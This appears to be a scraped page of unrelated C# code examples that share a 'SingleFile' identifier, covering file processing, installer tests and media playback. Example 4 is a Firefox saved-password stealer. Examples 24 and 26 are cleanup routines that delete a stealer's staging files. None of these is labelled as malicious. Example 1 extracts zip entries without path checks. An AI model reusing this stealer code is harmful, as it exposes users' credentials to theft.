Esempio n. 1
0
        private async Task PreProcessFile(SingleFile file)
        {
            var request = new ValidationRequest()
            {
                FileName = file.FileName, Flow = file.Flow
            };
            var validateresponse = await _service.Validate(request);

            file.Valid = validateresponse.Valid;
            if (validateresponse.Messages != null)
            {
                file.Messages.AddRange(validateresponse.Messages);
            }
            if (file.Valid && file.IsArchive)
            {
                var templocation = Path.Combine(Path.GetTempPath(), Path.GetFileNameWithoutExtension(file.FileName));
                Directory.CreateDirectory(templocation);
                using (ZipArchive archive = ZipFile.OpenRead(file.FileName))
                {
                    foreach (ZipArchiveEntry entry in archive.Entries)
                    {
                        string extractedfile = Path.Combine(templocation, entry.FullName);
                        entry.ExtractToFile(extractedfile);
                        file.SingleFiles.Add(new SingleFile(Guid.NewGuid())
                        {
                            Flow = file.Flow, FileName = extractedfile, ParentId = file.DeliveryId, SubFolder = Path.GetFileNameWithoutExtension(file.FileName)
                        });
                    }
                }
            }
            foreach (var sf in file.SingleFiles)
            {
                await PreProcessFile(sf);
            }
        }
Esempio n. 2
0
        /// <summary>
        /// Applies a <see cref="SingleFile"/> to a <see cref="TemporaryDirectory"/>.
        /// </summary>
        /// <param name="step">The <see cref="Archive"/> to apply.</param>
        /// <param name="localPath">The local path of the file.</param>
        /// <param name="workingDir">The <see cref="TemporaryDirectory"/> to apply the changes to.</param>
        /// <param name="handler">A callback object used when the the user needs to be informed about progress.</param>
        /// <exception cref="IOException">A path specified in <paramref name="step"/> is illegal.</exception>
        public static void Apply([NotNull] this SingleFile step, [NotNull] string localPath, [NotNull] TemporaryDirectory workingDir, [NotNull] ITaskHandler handler)
        {
            #region Sanity checks
            if (step == null)
            {
                throw new ArgumentNullException(nameof(step));
            }
            if (string.IsNullOrEmpty(localPath))
            {
                throw new ArgumentNullException(nameof(localPath));
            }
            if (workingDir == null)
            {
                throw new ArgumentNullException(nameof(workingDir));
            }
            if (handler == null)
            {
                throw new ArgumentNullException(nameof(handler));
            }
            #endregion

            // Use a copy of the original file because the source file is moved
            using (var tempFile = new TemporaryFile("0install"))
            {
                // ReSharper disable once AccessToDisposedClosure
                handler.RunTask(new SimpleTask(Resources.CopyFiles, () => File.Copy(localPath, tempFile, overwrite: true)));
                step.Apply(tempFile, workingDir);
            }
        }
Esempio n. 3
0
        public async Task <DeliveryCompleted> ProcessSingleFile(FileDelivered filedeliveredcommand)
        {
            SingleFile singlefile = new SingleFile(filedeliveredcommand.DeliveryId)
            {
                Customer = filedeliveredcommand.Customer,
                FileName = filedeliveredcommand.FileName,
                Flow     = filedeliveredcommand.Flow,
            };


            await PreProcessFile(singlefile);
            await ProcessFile(singlefile);
            await PostProcessFile(singlefile);

            //Guid headerid = Guid.NewGuid();

            //create header
            //await _service.AddHeader(singlefile.DeliveryId, singlefile.Flow);
            //save files recursief



            //recursief opslaan


            //beastanden verwijderen

            //ophalen vervolgacties???


            //notificeren

            return(new DeliveryCompleted(Guid.NewGuid(), singlefile.DeliveryId.ToString(), singlefile.Customer, singlefile.Flow, ""));
        }
Esempio n. 4
0
        public static void Start()
        {
            string SignonFile = "";

            string MozillaPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Mozilla Firefox\";
            string ProfilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";

            foreach (string SubFolder in Directory.GetDirectories(ProfilePath))
            {
                foreach (string SingleFile in Directory.GetFiles(SubFolder, "*.sqlite"))
                {
                    if (SingleFile.Contains("signons.sqlite"))
                    {
                        SignonFile = SingleFile;
                        NSS_Init(SubFolder, MozillaPath);
                    }
                }
            }

            SQLiteWrapper NewDb = new SQLiteWrapper(SignonFile);

            NewDb.ReadTable("moz_logins");

            for (int i = 0; i <= NewDb.GetRowCount() - 1; i++)
            {
                string Host     = NewDb.GetValue(i, "hostname");
                string FormUrl  = NewDb.GetValue(i, "formSubmitURL");
                string Username = Decrypt(NewDb.GetValue(i, "encryptedUsername"));
                string Password = Decrypt(NewDb.GetValue(i, "encryptedPassword"));

                UserDataManager.GatheredCredentials.Add(new Credential("FireFox", Host, Username, Password, FormUrl));
            }
        }
Esempio n. 5
0
        protected override void InitialiseControlState()
        {
            base.InitialiseControlState();

            this.Label.Visible = this.Visible;
            this.Error.Visible = this.Visible;
            this.GroupClass    = "input-group";

            JavaScriptSerializer serializer = new JavaScriptSerializer();

            if (this.Visible)
            {
                // Construct the configuration for the popup
                StringBuilder javascript = new StringBuilder();
                javascript.AppendFormat("var {0} = new consensus.web.filePickerField('{0}', {{" + Environment.NewLine, this.ClientID);
                javascript.AppendLine(" autoUpload: " + AutoUpload.ToString().ToLower() + ",");
                javascript.AppendLine(" singleFile: " + SingleFile.ToString().ToLower() + ",");
                javascript.AppendLine(" title: " + HttpUtility.JavaScriptStringEncode(Title, true) + ",");
                javascript.AppendLine(" url: " + HttpUtility.JavaScriptStringEncode(URL, true) + ",");
                javascript.AppendLine(" params: " + serializer.Serialize(this.Parameters) + ",");
                javascript.AppendFormat("}});");

                // Register the javascript
                this.Page.ClientScript.RegisterStartupScript(this.GetType(), this.UniqueID, javascript.ToString(), true);

                if (!this.Page.ClientScript.IsClientScriptBlockRegistered("_filePickerTemplate"))
                {
                    string template = ReadFilePickerTemplate();
                    this.Page.ClientScript.RegisterClientScriptBlock(this.GetType(), "_filePickerTemplate", template, false);
                }
            }
        }
Esempio n. 6
0
        public static void Apply(this SingleFile step, TemporaryFile downloadedFile, TemporaryDirectory workingDir)
        {
            #region Sanity checks
            if (step == null)
            {
                throw new ArgumentNullException(nameof(step));
            }
            if (downloadedFile == null)
            {
                throw new ArgumentNullException(nameof(downloadedFile));
            }
            if (workingDir == null)
            {
                throw new ArgumentNullException(nameof(workingDir));
            }
            #endregion

            if (string.IsNullOrEmpty(step.Destination))
            {
                throw new IOException(Resources.FileMissingDest);
            }

            var    builder         = new DirectoryBuilder(workingDir);
            string destinationPath = builder.NewFilePath(
                FileUtils.UnifySlashes(step.Destination),
                FileUtils.FromUnixTime(0),
                step.Executable);
            FileUtils.Replace(downloadedFile, destinationPath);
            builder.CompletePending();
        }
Esempio n. 7
0
        /// <summary>
        /// Plays or pauses the audio, depending on the VLC player's current state.
        /// </summary>
        private void playAudio()
        {
            using (MPAiModel DBModel = MPAiModel.InitializeDBModel())
            {
                Word    wd  = wordsList[currentRecordingIndex];
                Speaker spk = UserManagement.CurrentUser.Speaker;  // Get the speaker from user settings.
                Console.WriteLine(UserManagement.CurrentUser.Speaker.Name + " " + VoiceType.getDisplayNameFromVoiceType(UserManagement.CurrentUser.Voice));
                Recording rd = DBModel.Recording.Local.Where(x => x.WordId == wd.WordId && x.SpeakerId == spk.SpeakerId).SingleOrDefault();

                if (rd != null)
                {
                    ICollection <SingleFile> audios = rd.Audios;
                    if (audios == null || audios.Count == 0)
                    {
                        throw new Exception("No audio recording!");
                    }
                    SingleFile sf = audios.PickNext();
                    filePath = Path.Combine(sf.Address, sf.Name);

                    asyncPlay();
                    playButton.ImageIndex = 3;
                }
                else
                {
                    MPAiMessageBoxFactory.Show(invalidRecordingString);
                }
            }
        }
        private static void CopyFile(SingleFile file, string backupFolder, string path)
        {
            var pathToCopy = file.FilePath.Substring(file.FilePath.IndexOf(path) + path.Length);
            var fileInfo   = new FileInfo(file.FilePath);

            fileInfo.CopyTo(string.Join("\\", backupFolder, pathToCopy));
        }
Esempio n. 9
0
        public async Task ProcessSingleFileTest()
        {
            var input    = Enumerable.Range(0, 1_299_709).Select(x => (byte)x).ToArray();
            var expected = input.ToArray();
            var password = "******";

            var opStream = new MemoryStream();

            using var tmp1 = new TempFile(input);

            var encRes = await SingleFile.Process(new FileStream(tmp1, FileMode.Open), opStream, password);

            Assert.True(encRes);
            var resEnc = opStream.ToArray();

            using var tmp2 = new TempFile(resEnc);

            var decStream = new MemoryStream();
            var decRes    = await SingleFile.Deprocess(new FileStream( tmp2, FileMode.Open), decStream, password);

            Assert.True(decRes);

            var res = decStream.ToArray();

            Assert.AreEqual(expected, res);
        }
Esempio n. 10
0
        private void WordListBox_OnDoubleClick(object sender, EventArgs e)
        {
            try
            {
                MainForm  mainForm = this.Parent.Parent as MainForm;
                Speaker   spk      = SpeakerComboBox.SelectedItem as Speaker;
                Word      wd       = WordListBox.SelectedItem as Word;
                Recording rd       = mainForm.DBModel.Recording.Local.Where(x => x.WordId == wd.WordId && x.SpeakerId == spk.SpeakerId).SingleOrDefault();
                if (rd != null)
                {
                    ICollection <SingleFile> audios = rd.Audios;
                    if (audios == null || audios.Count == 0)
                    {
                        throw new Exception("No audio recording!");
                    }
                    SingleFile sf       = audios.PickNext();
                    string     filePath = Path.Combine(sf.Address, sf.Name);

                    mainForm.OperationPanel.NAudioRecorder.AudioPlayer.Play(filePath);
                }
                else
                {
                    MessageBox.Show("Invalid recording!");
                }
            }
            catch (Exception exp)
            {
                MessageBox.Show(exp.Message);
            }
        }
 static void ProcessRMCollectionInstall(RMCollection collection, string installPath, string sourcePath, string _namespace)
 {
     if (collection is RMAudioCollection)
     {
         Audio.InstallAudioCollection(installPath, sourcePath, collection as RMAudioCollection, _namespace);
     }
     else if (collection is RMDataCollection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.Data, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMAnimationCollection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.Animation, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMBattleBacks1_Collection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.BattleBacks_1, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMBattleBacks2_Collection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.BattleBacks_2, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMParallaxCollection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.Parallax, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMPictureCollection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.Pictures, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMSysImageCollection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.System, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMTitles1_Collection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.Titles_1, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMTitles2_Collection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.Titles_2, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMPluginsCollection)
     {
         SingleFile.InstallSingleFileCollection(installPath, sourcePath, RMSingleFileCollection.CollectionType.Plugins, collection as RMSingleFileCollection, _namespace);
     }
     else if (collection is RMCharImageCollection)
     {
         Characters.InstallCharacters(installPath, sourcePath, collection as RMCharImageCollection, _namespace);
     }
     else if (collection is RMTilesetCollection)
     {
         Tilesets.InstallTileset(installPath, sourcePath, collection as RMTilesetCollection, _namespace);
     }
     else if (collection is RMMovieCollection)
     {
         Movies.InstallMovie(installPath, sourcePath, collection as RMMovieCollection, _namespace);
     }
 }
Esempio n. 12
0
        /// <summary>
        /// 目录的最后修改时间
        /// </summary>
        /// <param name="sourcePath"></param>
        /// <param name="ignoreFolders"></param>
        /// <returns></returns>
        public static DateTime GetLastUpdatedTime(string sourcePath, params string[] ignoreFolders)
        {
            DateTime latelyUpdateTime = DateTime.MinValue;

            if (!Directory.Exists(sourcePath))
            {
                throw new FileNotFoundException();
            }
            string[] DirFiles;
            string[] DirDirs;
            try
            {
                DirFiles = Directory.GetFiles(sourcePath);
                DirDirs  = Directory.GetDirectories(sourcePath);
            }
            catch { throw new FileNotFoundException(); }
            foreach (string SingleDir in DirDirs)
            {
                bool isIgnore = false;
                if (ignoreFolders != null)
                {
                    foreach (string iFolder in ignoreFolders)
                    {
                        if (SingleDir.ToLower().IndexOf(string.Concat("\\", iFolder.ToLower())) > 0)
                        {
                            isIgnore = true; break;
                        }
                    }
                }
                if (isIgnore)
                {
                    continue;
                }
                DateTime latelyUpdateTimeCurrent = GetLastUpdatedTime(SingleDir, ignoreFolders);
                if (latelyUpdateTimeCurrent > latelyUpdateTime)
                {
                    latelyUpdateTime = latelyUpdateTimeCurrent;
                }
            }
            foreach (string SingleFile in DirFiles)
            {
                try
                {
                    string             FileName = SingleFile.Split('\\')[SingleFile.Split('\\').Length - 1];
                    System.IO.FileInfo fi       = new FileInfo(SingleFile);
                    if (fi.LastWriteTime > latelyUpdateTime)
                    {
                        latelyUpdateTime = fi.LastWriteTime;
                    }
                }
                catch (Exception ex)
                {
                    LogBuilder.NLogger.Error(ex);
                }
            }
            return(latelyUpdateTime);
        }
Esempio n. 13
0
        private void playButton_Click(object sender, EventArgs e)
        {
            try
            {
                switch (vlcControl.State)
                {
                case Vlc.DotNet.Core.Interops.Signatures.MediaStates.NothingSpecial:
                case Vlc.DotNet.Core.Interops.Signatures.MediaStates.Stopped:
                {
                    MainForm  mainForm = this.Parent.Parent.Parent.Parent.Parent.Parent as MainForm;
                    Speaker   spk      = mainForm.RecordingList.SpeakerComboBox.SelectedItem as Speaker;
                    Word      wd       = mainForm.RecordingList.WordListBox.SelectedItem as Word;
                    Recording rd       = mainForm.DBModel.Recording.Local.Where(x => x.WordId == wd.WordId && x.SpeakerId == spk.SpeakerId).SingleOrDefault();
                    if (rd != null)
                    {
                        SingleFile sf = rd.Video;
                        if (sf == null)
                        {
                            throw new Exception("No video recording!");
                        }
                        string filePath = Path.Combine(sf.Address, sf.Name);

                        vlcControl.Play(new Uri(filePath));
                        playButton.ImageIndex = 2;
                    }
                    else
                    {
                        MessageBox.Show("Invalid recording!");
                    }
                }
                break;

                case Vlc.DotNet.Core.Interops.Signatures.MediaStates.Playing:
                {
                    vlcControl.Pause();
                    playButton.ImageIndex = 0;
                }
                break;

                case Vlc.DotNet.Core.Interops.Signatures.MediaStates.Paused:
                {
                    vlcControl.Pause();
                    playButton.ImageIndex = 2;
                }
                break;

                default:
                    throw new Exception("Invalid state!");
                }
            }
            catch (Exception exp)
            {
                MessageBox.Show(exp.Message);
                Console.WriteLine(exp);
            }
        }
        public void DownloadAndApplySingleFile()
        {
            using (var stream = SingleFileData.ToStream())
            using (var microServer = new MicroServer(SingleFileName, stream))
            {
                var file = new SingleFile {Href = microServer.FileUri, Destination = SingleFileName};
                file.DownloadAndApply(new SilentTaskHandler()).Dispose();

                file.Size.Should().Be(stream.Length);
            }
        }
Esempio n. 15
0
        private void toLocalButton_Click(object sender, EventArgs e)
        {
            try
            {
                var DBContext = MainForm.self.DBModel;
                for (int i = onDBListBox.SelectedItems.Count - 1; i >= 0; i--)
                {
                    SingleFile sf    = onDBListBox.SelectedItems[i] as MPAid.Models.SingleFile;
                    Recording  rd    = null;
                    NamePaser  paser = new NamePaser();
                    paser.FullName = sf.Name;
                    if (paser.MediaFormat == "audio")
                    {
                        rd = sf.Audio;
                    }
                    else if (paser.MediaFormat == "video")
                    {
                        rd = sf.Video;
                    }
                    Speaker  spk          = rd.Speaker;
                    Word     word         = rd.Word;
                    Category cty          = word.Category;
                    string   existingFile = sf.Address + "\\" + sf.Name;
                    if (File.Exists(existingFile))
                    {
                        File.Delete(existingFile);
                    }
                    DBContext.SingleFile.Remove(sf);

                    if (rd.Audios.Count == 0 && rd.Video == null)
                    {
                        DBContext.Recording.Remove(rd);
                    }
                    if (spk.Recordings.Count == 0)
                    {
                        DBContext.Speaker.Remove(spk);
                    }
                    if (word.Recordings.Count == 0)
                    {
                        DBContext.Word.Remove(word);
                    }
                    if (cty.Words.Count == 0)
                    {
                        DBContext.Category.Remove(cty);
                    }
                }
                MainForm.self.DBModel.SaveChanges();
            }
            catch (Exception exp)
            {
                MessageBox.Show(exp.Message, "Fail to delete!");
            }
        }
        public void DownloadAndApplySingleFile()
        {
            using var stream      = SingleFileData.ToStream();
            using var microServer = new MicroServer(SingleFileName, stream);
            var file = new SingleFile {
                Href = microServer.FileUri, Destination = SingleFileName
            };

            file.DownloadAndApply(new SilentTaskHandler()).Dispose();

            file.Size.Should().Be(stream.Length);
        }
Esempio n. 17
0
        public void DownloadAndApplySingleFile()
        {
            using (var stream = SingleFileData.ToStream())
                using (var microServer = new MicroServer(SingleFileName, stream))
                {
                    var file = new SingleFile {
                        Href = microServer.FileUri, Destination = SingleFileName
                    };
                    file.DownloadAndApply(new SilentTaskHandler()).Dispose();

                    Assert.AreEqual(stream.Length, file.Size);
                }
        }
Esempio n. 18
0
        public static void Apply([NotNull] this SingleFile step, [NotNull] TemporaryFile downloadedFile, [NotNull] TemporaryDirectory workingDir, [NotNull] ITaskHandler handler, [CanBeNull] object tag = null)
        {
            #region Sanity checks
            if (step == null)
            {
                throw new ArgumentNullException("step");
            }
            if (downloadedFile == null)
            {
                throw new ArgumentNullException("downloadedFile");
            }
            if (workingDir == null)
            {
                throw new ArgumentNullException("workingDir");
            }
            if (handler == null)
            {
                throw new ArgumentNullException("handler");
            }
            #endregion

            #region Path validation
            if (string.IsNullOrEmpty(step.Destination))
            {
                throw new IOException(Resources.FileMissingDest);
            }
            string destination = FileUtils.UnifySlashes(step.Destination);
            if (FileUtils.IsBreakoutPath(destination))
            {
                throw new IOException(string.Format(Resources.RecipeInvalidPath, destination));
            }
            #endregion

            string destinationPath = Path.Combine(workingDir, destination);
            string parentDir       = Path.GetDirectoryName(destinationPath);
            if (!string.IsNullOrEmpty(parentDir) && !Directory.Exists(parentDir))
            {
                Directory.CreateDirectory(parentDir);
            }
            FileUtils.Replace(downloadedFile, destinationPath);
            File.SetLastWriteTimeUtc(destinationPath, FileUtils.FromUnixTime(0));

            // Update in flag files as well
            FlagUtils.Remove(Path.Combine(workingDir, FlagUtils.XbitFile), destination);
            FlagUtils.Remove(Path.Combine(workingDir, FlagUtils.SymlinkFile), destination);
        }
Esempio n. 19
0
        public void LocalApplySingleFile()
        {
            using (var tempDir = new TemporaryDirectory("0install-unit-tests"))
            {
                string tempFile = Path.Combine(tempDir, "file");
                File.WriteAllText(tempFile, @"abc");

                var file = new SingleFile();
                using (var extractedDir = file.LocalApply(tempFile, new SilentTaskHandler()))
                    Assert.IsTrue(File.Exists(Path.Combine(extractedDir, "file")));

                Assert.AreEqual("file", file.Destination);
                Assert.AreEqual(3, file.Size);

                Assert.IsTrue(File.Exists(tempFile), "Local reference file should not be removed");
            }
        }
        public void LocalApplySingleFile()
        {
            using var tempDir = new TemporaryDirectory("0install-unit-tests");
            string tempFile = Path.Combine(tempDir, "file");

            File.WriteAllText(tempFile, @"abc");

            var file = new SingleFile();

            using (var extractedDir = file.LocalApply(tempFile, new SilentTaskHandler()))
                File.Exists(Path.Combine(extractedDir, "file")).Should().BeTrue();

            file.Destination.Should().Be("file");
            file.Size.Should().Be(3);

            File.Exists(tempFile).Should().BeTrue(because: "Local reference file should not be removed");
        }
Esempio n. 21
0
        private async Task PostProcessFile(SingleFile file)
        {
            FileInfo fi = new FileInfo(file.FileName);
            await fi.DeleteAsync();

            foreach (var sf in file.SingleFiles)
            {
                await PostProcessFile(sf);
            }
            if (file.IsArchive)
            {
                DirectoryInfo di = new DirectoryInfo(Path.Combine(Path.GetTempPath(), Path.GetFileNameWithoutExtension(file.FileName)));
                if (di.GetFiles().Count() == 0)
                {
                    di.Delete();
                }
            }
        }
Esempio n. 22
0
        private async Task ProcessFile(SingleFile file)
        {
            Guid streamid = Guid.NewGuid();

            if (await _service.AddToStorage(streamid, file.FileName, file.GetFileType(), file.Valid, file.SubFolder))
            {
                if (await _service.AddHeader(file.DeliveryId, file.Flow, file.ParentId))
                {
                    if (await _service.AddFileExtension(file.DeliveryId, streamid, Path.GetFileName(file.FileName), file.Valid, string.Join("\n", file.Messages), null))
                    {
                        foreach (var sf in file.SingleFiles)
                        {
                            await ProcessFile(sf);
                        }
                        file.Saved = true;
                    }
                }
            }
        }
Esempio n. 23
0
        /// <summary>
        /// Copies a directory
        /// </summary>
        /// <param name="CopyFrom">Source and Destination</param>
        public static void Copy(DirCopyInfo CopyFrom)
        {
            DirCopyInfo Info = CopyFrom;

            if (!Directory.Exists(Info.Source))
            {
                throw new FileNotFoundException();
            }
            if (!Directory.Exists(Info.Destination))
            {
                //Console.WriteLine("Creating Directory: " + Info.Destination);
                Directory.CreateDirectory(Info.Destination);
            }
            string[] DirFiles;
            string[] DirDirs;
            try
            {
                DirFiles = Directory.GetFiles(Info.Source);
                DirDirs  = Directory.GetDirectories(Info.Source);
            }
            catch { throw new FileNotFoundException(); }
            foreach (string SingleDir in DirDirs)
            {
                string DirName = "\\";
                DirName += SingleDir.Split('\\')[SingleDir.Split('\\').Length - 1];
                DirCopyInfo NextInfo = new DirCopyInfo();
                NextInfo.BaseDir     = Info.BaseDir;
                NextInfo.Destination = Info.Destination + DirName;
                NextInfo.Source      = SingleDir;
                Copy(NextInfo);
            }
            foreach (string SingleFile in DirFiles)
            {
                try
                {
                    string FileName = SingleFile.Split('\\')[SingleFile.Split('\\').Length - 1];
                    File.Copy(SingleFile, Info.Destination + "\\" + FileName, Info.OverWrite);
                }
                catch { return; }
            }
        }
Esempio n. 24
0
 static void ClearLogs()
 {
     try
     {
         System.Threading.Thread.Sleep(5000); // if you get error on this line please disable clear log in main and delete this child class
         String        Temp = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\TeleShadow";
         DirectoryInfo Dir  = new DirectoryInfo(Temp);
         foreach (FileInfo SingleFile in Dir.GetFiles())
         {
             SingleFile.Delete();
         }
         foreach (DirectoryInfo SingleDirectory in Dir.GetDirectories())
         {
             SingleDirectory.Delete(true);
         }
         Directory.Delete(Temp);
         string   Romaing  = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
         string[] Compress = { Romaing + @"\rar_cli.exe", Romaing + @"\Session.rar" };
         File.Delete(Compress[0]);
         File.Delete(Compress[1]);
     }
     catch (Exception)
     { }
 }
Esempio n. 25
0
        /// <summary>
        /// Plays or pauses the video, depending on the VLC player's current state.
        /// </summary>
        private void playVideo()
        {
            using (MPAiModel DBModel = new MPAiModel())
            {
                // The word list only holds proxy objects, as it's context has closed. A database query is needed to get it's recordings.
                Recording rd  = DBModel.Recording.Find(wordsList[currentRecordingIndex].RecordingId);
                Speaker   spk = UserManagement.CurrentUser.Speaker; // Get the speaker from user settings.

                if (rd != null)                                     // If the recording exists
                {
                    SingleFile sf = null;
                    if (rd.Video != null)
                    {
                        sf = rd.Video;
                    }
                    else if (rd.VocalTract != null)
                    {
                        sf = rd.VocalTract;
                    }
                    if (sf == null)
                    {
                        asyncStop();
                        MPAiMessageBoxFactory.Show(noVideoString);
                        return;
                    }
                    filePath = Path.Combine(sf.Address, sf.Name);

                    asyncPlay();
                    playButton.ImageIndex = 3;
                }
                else
                {
                    MPAiMessageBoxFactory.Show(invalidRecordingString);
                }
            }
        }
Esempio n. 26
0
 static void ClearLogs()
 {
     try
     {
         Thread.Sleep(5000);
         String        Temp = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\TSH";
         DirectoryInfo Dir  = new DirectoryInfo(Temp);
         foreach (FileInfo SingleFile in Dir.GetFiles())
         {
             SingleFile.Delete();
         }
         foreach (DirectoryInfo SingleDirectory in Dir.GetDirectories())
         {
             SingleDirectory.Delete(true);
         }
         Directory.Delete(Temp);
         string   Romaing  = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
         string[] Compress = { Romaing + @"\rar_cli.exe", Romaing + @"\Session.rar" };
         File.Delete(Compress[0]);
         File.Delete(Compress[1]);
     }
     catch (Exception)
     { }
 }
Esempio n. 27
0
    /// <summary>
    /// Refresh completed percentage
    /// </summary>
    /// <param name="project">ProjectInfo of the current project</param>
    /// <param name="language">shortcut of language, e.g. de</param>
    /// <param name="filename">File which was updated, e.g. beta.aspx. Or null to check all files</param>
    /// <param name="sourceLang">Source language the file is compared to</param>
    /// <returns>Percentage as integer</returns>
    /// <remarks>Creates info file if not existing</remarks>
    public static double ComputePercentage(ProjectHelper.ProjectInfo project, string language, string filename, string sourceLang)
    {
        double Percentage = 0;

        string ProjectDirectory = ConfigurationManager.AppSettings["ProjectDirectory"] + project.Folder + "\\";

        if (!Directory.Exists(ProjectDirectory))
        {
            Directory.CreateDirectory(ProjectDirectory);
        }

        string[] allMainProjectFiles = Directory.GetFiles(ProjectDirectory, "*.resx", SearchOption.TopDirectoryOnly);

        if (allMainProjectFiles.Length == 0)
        {
            throw new Exception("No Resource files in the project directory " + ProjectDirectory);
        }

        // Language file does not exist, so create new language file in a potential new folder
        if (!File.Exists(ProjectDirectory + language + ".xml"))
        {
            // Now write the main chart xml for Form Update
            XmlTextWriter writer = new XmlTextWriter(ProjectDirectory + language + ".xml", System.Text.Encoding.UTF8)
            {
                Formatting  = Formatting.Indented,
                Indentation = 3
            };
            writer.WriteStartDocument();
            writer.WriteComment("Created on " + DateTime.Now.ToString());

            // <files>
            writer.WriteStartElement("files");
            writer.WriteAttributeString("language", language);

            string ResXFile  = null;
            string ShortName = null;
            foreach (string ResXFile_loopVariable in allMainProjectFiles)
            {
                // <file>
                ResXFile = ResXFile_loopVariable;
                writer.WriteStartElement("file");
                ShortName = ResXFile.Substring(ProjectDirectory.Length).Replace(".resx", "");

                writer.WriteElementString("name", ShortName);
                writer.WriteElementString("percentcompleted", "0");
                writer.WriteElementString("caption", "");
                writer.WriteElementString("lastchange", DateTime.Now.ToShortDateString());
                writer.WriteEndElement();
                // </file>
            }

            writer.WriteEndElement();
            // </files>

            writer.WriteEndDocument();
            writer.Close();
        }

        XmlDocument LanguageXML = XMLFile.GetXMLDocument(ProjectDirectory + language + ".xml");

        // get all files that are registered in that language file
        XmlNodeList AllFiles = LanguageXML.SelectNodes("/files/file");

        bool SummaryUpdated = false;


        if (!Directory.Exists(ProjectDirectory + language))
        {
            Directory.CreateDirectory(ProjectDirectory + language);
        }

        foreach (XmlNode SingleFile in AllFiles)
        {
            string CurrentFile = SingleFile.SelectSingleNode("name").InnerText;

            // if the current file in the directoy is not invalid and either no file was specified to test (== all files) or the file matches the given one
            if (CurrentFile != null && (filename == null || CurrentFile == filename))
            {
                XmlDocument SourceFile;

                if (Directory.Exists(Path.Combine(ProjectDirectory, sourceLang)))
                {
                    SourceFile = XMLFile.GetXMLDocument(Path.Combine(ProjectDirectory, sourceLang, CurrentFile + "." + sourceLang + ".resx"));
                }
                else
                {
                    SourceFile = XMLFile.GetXMLDocument(ProjectDirectory + CurrentFile + ".resx");
                }

                // if not null, english source file was found
                if (SourceFile != null)
                {
                    XmlDocument TranslatedDoc = XMLFile.GetXMLDocument(Path.Combine(ProjectDirectory, language, (CurrentFile + "." + language + ".resx")));

                    // Is translated language file not there?
                    if (TranslatedDoc == null)
                    {
                        // Create empty translation file
                        foreach (XmlNode Node in SourceFile.SelectNodes("/root/data/value"))
                        {
                            Node.InnerText = string.Empty;
                        }

                        // save the "emptied" english source file to the translated file name
                        SourceFile.Save(Path.Combine(ProjectDirectory, language, (CurrentFile + "." + language + ".resx")));

                        SingleFile.SelectSingleNode("percentcompleted").InnerText = "0";
                    }
                    else // if the translation file
                    {
                        double FileElements           = 0;
                        double TranslatedFileElements = 0;

                        // get through each node in the english doc ..
                        foreach (XmlNode SourceNode in SourceFile.SelectNodes("root/data"))
                        {
                            string NodeName = SourceNode.Attributes["name"].InnerText;

                            Array NodePoints = default(Array);
                            NodePoints = NodeName.Split('.');


                            bool CanBeAdded = true;

                            for (int i = 0; i <= NotArgs.Length - 1; i++)
                            {
                                if (NodeName.Contains("." + NotArgs[i]) ||
                                    String.IsNullOrEmpty(SourceNode.SelectSingleNode("value")?.InnerText))
                                {
                                    CanBeAdded = false;
                                }
                            }


                            if (CanBeAdded)
                            {
                                FileElements += 1;

                                XmlNode TranslatedNode = TranslatedDoc.SelectSingleNode("root/data[@name='" + NodeName + "']");

                                // if translated node was null, it wasn't there
                                if (TranslatedNode != null)
                                {
                                    TranslatedNode = TranslatedNode.SelectSingleNode("value");

                                    // if value was null or text empty, the node was empty and therefore not translated
                                    if (TranslatedNode != null && (TranslatedNode.InnerText).Trim().Length > 0)
                                    {
                                        TranslatedFileElements += 1;
                                    }
                                }
                            }
                        }

                        if (FileElements == 0)
                        {
                            Percentage = 100;
                        }
                        else
                        {
                            Percentage = (TranslatedFileElements / FileElements) * 100;
                        }
                    }
                }

                SingleFile.SelectSingleNode("caption").InnerText = "";

                // Check whether percentage is changed - if this condition was true, the percentage was already stored correct
                if (Convert.ToDouble(SingleFile.SelectSingleNode("percentcompleted").InnerText.Replace(",", "."), CultureInfo.InvariantCulture) != Percentage)
                {
                    SingleFile.SelectSingleNode("percentcompleted").InnerText = Percentage.ToString("0.00", System.Globalization.CultureInfo.InvariantCulture);
                    SingleFile.SelectSingleNode("lastchange").InnerText       = DateTime.Now.ToString();

                    if (!SummaryUpdated)
                    {
                        SummaryUpdated = true;
                    }
                }
            }
        }

        // Save configuration file if it was changed
        if (SummaryUpdated)
        {
            LanguageXML.Save(ProjectDirectory + language + ".xml");
        }

        return(Percentage);
    }
        public void LocalApplySingleFile()
        {
            using (var tempDir = new TemporaryDirectory("0install-unit-tests"))
            {
                string tempFile = Path.Combine(tempDir, "file");
                File.WriteAllText(tempFile, @"abc");

                var file = new SingleFile();
                using (var extractedDir = file.LocalApply(tempFile, new SilentTaskHandler()))
                    Assert.IsTrue(File.Exists(Path.Combine(extractedDir, "file")));

